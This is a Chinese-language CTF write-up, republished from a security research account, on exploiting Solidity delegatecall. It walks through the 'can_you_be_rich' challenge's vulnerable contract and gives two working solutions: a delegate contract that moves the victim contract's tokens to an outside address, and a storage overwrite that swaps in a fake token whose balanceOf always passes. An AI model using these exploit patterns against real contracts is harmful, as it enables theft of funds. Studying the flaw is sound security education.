Delegatacall的多种利用

admin 2022年10月18日18:43:13评论31 views字数 3272阅读10分54秒阅读模式


1.  跨合约函数调用



        solidity中,有两种call函数可以实现跨合约调用,包括calldelegatacall

1.1 使用方法

call函数
<address>.call(...) returns (bool, bytes)

address为要调用合约地址,call函数的参数为要调用函数的签名和传入参数。
Delegatacall
<address>.delegatacall(...) returns (bool, bytes)

address为要调用合约地址,call函数的参数为要调用函数的签名和传入参数。

1.2  区别

call调用后的执行环境和上下文会变成被调用合约的。
delegatacall调用的执行环境和上下文是源合约的。


2.  can_you_be_rich 



这时第五空间决赛杂项中的合约题,这题考查的就是delegatacall的漏洞利用。


2.1  源码

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";


contract CTFToken is ERC20,Ownable {
    bool airdropped;

    constructor() ERC20("CTFToken""CTF") {
        _mint(address(msg.sender), 100000000000);
    }

    function airdrop(uint num) public onlyOwner {
        require(!airdropped, "Already airdropped");
        airdropped = true;
        _mint(msg.sender, num);
    }
}

contract  Vuln {
    CTFToken public  token;
    bool solved;
    constructor()  public  {
        token=new CTFToken();

    }
    function set(address _contract) public  {

        (bool success, bytes memory data) = _contract.delegatecall(
            abi.encodeWithSignature("set()")
        );
        require(success, "delegatecall  failed");
        require(!solved, "");
    }
    function solve() public{
        require(token.balanceOf(msg.sender)>=100000000000);
        solved=true;
    }
    function isSolved()  public view returns(bool){
        return solved;
    }

}

先查看被攻击合约,构造函数中新创建了一个CTFToken合约,CTFToken合约是一个ERC20合约,在部署该Token合约的时候就给msg.sender mint100000000000wei,这里msg.sender就是被攻击合约。

回到被攻击合约,里面还有函数setsolveisSolved。其中set函数delegatacall给定地址的set函数。

solve函数会判断调用者的token月是否足够,如果达标,则将solved置为true

isSolved函数会根据solved触发flag


2.2  解法1

delegatacall函数在调用的时候msg.sender依然会是本合约,我们可以利用这一点进行攻击。

因为CTFToken合约在部署的时候就已经向被攻击合约mint了足够数量的币,所以被攻击合约的余额是足够的,那么想办法把被攻击合约的余额转到攻击合约上就可以了。

我们可以在delegata合约中加入转账的逻辑,而因为delegatacall调用的msg.sender不变,所以就可以把钱转走:

contract Delegate {
 
   address public ctfAddress;

  constructor(address _ctfAddress) {
        ctfAddress = _ctfAddress;
 }
  
    function set() public {
        CTFToken token = CTFToken(ctfAddress);
        // 这个地址是我们的外部地址
        token.transfer(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, 100000000000);
    }
}


攻击合约:

contract POC {

    constructor(address vulnAddress, address tokenAddress) {
        Vuln vul = Vuln(vulnAddress);
        Delegate dele = new Delegate(tokenAddress);
        vul.set(address(dele));
  } 
}

这时再用这个外部地址调用被攻击合约的solveisSolved函数就可以拿到flag。

contract POC {

    constructor(address vulnAddress, address tokenAddress) {
        Vuln vul = Vuln(vulnAddress);
        Delegate dele = new Delegate(tokenAddress);
        vul.set(address(dele));
  } 
}

2.3  复现1

首先部署被攻击合约:

Delegatacall的多种利用

获取CTFToken的合约地址,并通过该地址获取token地址的实例:

Delegatacall的多种利用

部署攻击合约:

Delegatacall的多种利用

由于攻击流程都在构造函数中,所以现在我们自己的外部地址应该有足够的余额了:

Delegatacall的多种利用

这时使用这个外部地址调用攻击合约的solve函数,就拿到flag了:

Delegatacall的多种利用

2.4  解法2

delegatacall不仅msg.sender是源合约,上下文也是源合约的,storage也是源合约的。

我们再回看solve函数:

Delegatacall的多种利用

这里需要msg.sendertoken地址的余额大于一个值,那我们能不能把这个token地址改成我们部署的一个合约,并且重写balanceOf函数,并让它直接返回一个足够的值。

首先先部署一个假的token合约:

contract fakeToken {
    function balanceOf(address _address) public view returns(uint256) {
        return 100000000000;
    }
}

再调用solve函数就可以拿到flag

2.5  复现2

先部署被攻击合约,并获取token地址:

Delegatacall的多种利用

部署假的token合约:

Delegatacall的多种利用

部署delegata合约:

Delegatacall的多种利用

再将该合约的地址作为参数调用被攻击合约的set函数,在调用完成之后,被攻击合约的token地址应该会被改成我们伪造的假token的地址:

Delegatacall的多种利用

在调用solve就可以获取flag

Delegatacall的多种利用


原文始发于微信公众号(山石网科安全技术研究院):Delegatacall的多种利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月18日18:43:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Delegatacall的多种利用https://cn-sec.com/archives/1357255.html

发表评论

匿名网友 填写信息